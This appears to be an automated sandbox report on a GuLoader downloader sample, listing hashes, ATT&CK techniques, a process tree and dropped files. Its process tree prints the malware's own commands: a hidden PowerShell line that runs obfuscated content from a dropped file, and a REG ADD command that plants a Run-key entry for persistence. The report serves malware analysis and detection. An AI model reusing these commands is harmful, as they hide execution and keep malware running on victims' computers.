guloader | dfcf14a0653a6b274948af6f9956eed918987c730e235d260f069d73e4481f25

Analysis

max time kernel
146s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14-11-2024 01:07

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General

Target

ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28.exe
Size

738KB
MD5

2e24786e3a50dddc9e8044942ed76557
SHA1

fd17c905199eaa0933fb9b78b45ca0c4e87c787c
SHA256

ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28
SHA512

029375abc32bfd0495334a893682a31ccfeb2251b0d5c64f99cd2b6e6ce96eb10359fbf00b598279f6d5b896ee75da0f3a092f9de610be9b9c33ee23a4a040b3
SSDEEP

12288:oyoqBI5daGf9SVr5Y91FmGe1C1scoGcZhAkFN2ZTyWy0ctqhm2V76:oyocI7aGf9mgjmPSsccAgN2ZT1HI2V76

Score

10^/10

guloader discovery downloader execution persistence

Malware Config

Signatures

Guloader family
guloader
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2036	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Indefeasibility = "%Resections% -windowstyle 1 $Kolportage=(gp -Path 'HKCU:\\Software\\Belindas\\').heikes;%Resections% ($Kolportage)"	reg.exe

Blocklisted process makes network request 10 IoCs

flow	pid	Process
18	4292	msiexec.exe
31	4292	msiexec.exe
33	4292	msiexec.exe
35	4292	msiexec.exe
36	4292	msiexec.exe
37	4292	msiexec.exe
42	4292	msiexec.exe
43	4292	msiexec.exe
44	4292	msiexec.exe
45	4292	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2036	powershell.exe
4292	msiexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\resources\afskibes.lnk	ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28.exe
File opened for modification	C:\Windows\resources\0409\unedged\staveres.Del137	ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3320	reg.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2036	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeIncreaseQuotaPrivilege	2036	powershell.exe
Token: SeSecurityPrivilege	2036	powershell.exe
Token: SeTakeOwnershipPrivilege	2036	powershell.exe
Token: SeLoadDriverPrivilege	2036	powershell.exe
Token: SeSystemProfilePrivilege	2036	powershell.exe
Token: SeSystemtimePrivilege	2036	powershell.exe
Token: SeProfSingleProcessPrivilege	2036	powershell.exe
Token: SeIncBasePriorityPrivilege	2036	powershell.exe
Token: SeCreatePagefilePrivilege	2036	powershell.exe
Token: SeBackupPrivilege	2036	powershell.exe
Token: SeRestorePrivilege	2036	powershell.exe
Token: SeShutdownPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeSystemEnvironmentPrivilege	2036	powershell.exe
Token: SeRemoteShutdownPrivilege	2036	powershell.exe
Token: SeUndockPrivilege	2036	powershell.exe
Token: SeManageVolumePrivilege	2036	powershell.exe
Token: 33	2036	powershell.exe
Token: 34	2036	powershell.exe
Token: 35	2036	powershell.exe
Token: 36	2036	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1068 wrote to memory of 2036	1068	ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28.exe	83
PID 1068 wrote to memory of 2036	1068	ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28.exe	83
PID 1068 wrote to memory of 2036	1068	ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28.exe	83
PID 2036 wrote to memory of 4292	2036	powershell.exe	97
PID 2036 wrote to memory of 4292	2036	powershell.exe	97
PID 2036 wrote to memory of 4292	2036	powershell.exe	97
PID 2036 wrote to memory of 4292	2036	powershell.exe	97
PID 4292 wrote to memory of 3436	4292	msiexec.exe	98
PID 4292 wrote to memory of 3436	4292	msiexec.exe	98
PID 4292 wrote to memory of 3436	4292	msiexec.exe	98
PID 3436 wrote to memory of 3320	3436	cmd.exe	101
PID 3436 wrote to memory of 3320	3436	cmd.exe	101
PID 3436 wrote to memory of 3320	3436	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28.exe
"C:\Users\Admin\AppData\Local\Temp\ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Driftschef=Get-Content -raw 'C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Jumblement.Kar';$q=$Driftschef.SubString(51945,3);.$q($Driftschef)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4292
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Indefeasibility" /t REG_EXPAND_SZ /d "%Resections% -windowstyle 1 $Kolportage=(gp -Path 'HKCU:\Software\Belindas\').heikes;%Resections% ($Kolportage)"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3436
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Indefeasibility" /t REG_EXPAND_SZ /d "%Resections% -windowstyle 1 $Kolportage=(gp -Path 'HKCU:\Software\Belindas\').heikes;%Resections% ($Kolportage)"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:3320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gawtuuy0.3wn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Chervil.ure

Filesize
302KB

MD5
c8f1f656c0732cc614e4a40e8468e650

SHA1
08eab64c64cb602cd97f5c5db84c01024a3e1f9f

SHA256
ec76dcd52b9a58f6c0dd721f8ffe4de3351cdad95ba68d4b6d0b836fa2ac9c36

SHA512
653302a74ae261787a9a8ad836d6005b5f10c99a7bb10c2e9683ccc7945254c8e5a38d3730ae28eeaa11c5dd25ceec932514bd23c6a4ce71c69f76f79b27db0d

Download Submit
C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Jumblement.Kar

Filesize
50KB

MD5
5f22e57b55aa6e31d0606fa12e0ee584

SHA1
e83cf829d2d46ce8a16f117a437a32ad63c1173d

SHA256
0fd8188279b05a111878389f3fe41f48f28d27249560005ae6977b0e8fb137b2

SHA512
7c9ed6698e7e593597c92169c5ea97447b786439c09f33e26877852fae74dbdd8082c463baa3f5fefea9b3bb05014999389ec8f306e055ed5c99338fe0335900

Download Submit
memory/2036-38-0x00000000701F0000-0x000000007023C000-memory.dmp

Filesize
304KB

Download
memory/2036-65-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-15-0x0000000005000000-0x0000000005022000-memory.dmp

Filesize
136KB

Download
memory/2036-16-0x00000000057F0000-0x0000000005856000-memory.dmp

Filesize
408KB

Download
memory/2036-17-0x0000000005860000-0x00000000058C6000-memory.dmp

Filesize
408KB

Download
memory/2036-12-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-39-0x00000000707A0000-0x0000000070AF4000-memory.dmp

Filesize
3.3MB

Download
memory/2036-28-0x0000000005F60000-0x0000000005F7E000-memory.dmp

Filesize
120KB

Download
memory/2036-29-0x0000000005F90000-0x0000000005FDC000-memory.dmp

Filesize
304KB

Download
memory/2036-31-0x0000000006440000-0x000000000645A000-memory.dmp

Filesize
104KB

Download
memory/2036-30-0x0000000006FF0000-0x0000000007086000-memory.dmp

Filesize
600KB

Download
memory/2036-32-0x00000000064B0000-0x00000000064D2000-memory.dmp

Filesize
136KB

Download
memory/2036-33-0x0000000007640000-0x0000000007BE4000-memory.dmp

Filesize
5.6MB

Download
memory/2036-13-0x0000000005150000-0x0000000005778000-memory.dmp

Filesize
6.2MB

Download
memory/2036-35-0x0000000008270000-0x00000000088EA000-memory.dmp

Filesize
6.5MB

Download
memory/2036-36-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-37-0x0000000007390000-0x00000000073C2000-memory.dmp

Filesize
200KB

Download
memory/2036-50-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-27-0x00000000058D0000-0x0000000005C24000-memory.dmp

Filesize
3.3MB

Download
memory/2036-14-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-10-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

Filesize
4KB

Download
memory/2036-51-0x0000000007400000-0x00000000074A3000-memory.dmp

Filesize
652KB

Download
memory/2036-52-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-53-0x0000000007500000-0x000000000750A000-memory.dmp

Filesize
40KB

Download
memory/2036-54-0x0000000007540000-0x000000000756A000-memory.dmp

Filesize
168KB

Download
memory/2036-55-0x0000000007570000-0x0000000007594000-memory.dmp

Filesize
144KB

Download
memory/2036-56-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-58-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

Filesize
4KB

Download
memory/2036-59-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-60-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-11-0x00000000028E0000-0x0000000002916000-memory.dmp

Filesize
216KB

Download
memory/2036-62-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-63-0x00000000088F0000-0x000000000989F000-memory.dmp

Filesize
15.7MB

Download
memory/2036-64-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-49-0x00000000073D0000-0x00000000073EE000-memory.dmp

Filesize
120KB

Download
memory/2036-66-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/2036-67-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/4292-68-0x0000000001C60000-0x0000000002C0F000-memory.dmp

Filesize
15.7MB

Download
memory/4292-70-0x0000000001C60000-0x0000000002C0F000-memory.dmp

Filesize
15.7MB

Download
memory/4292-69-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download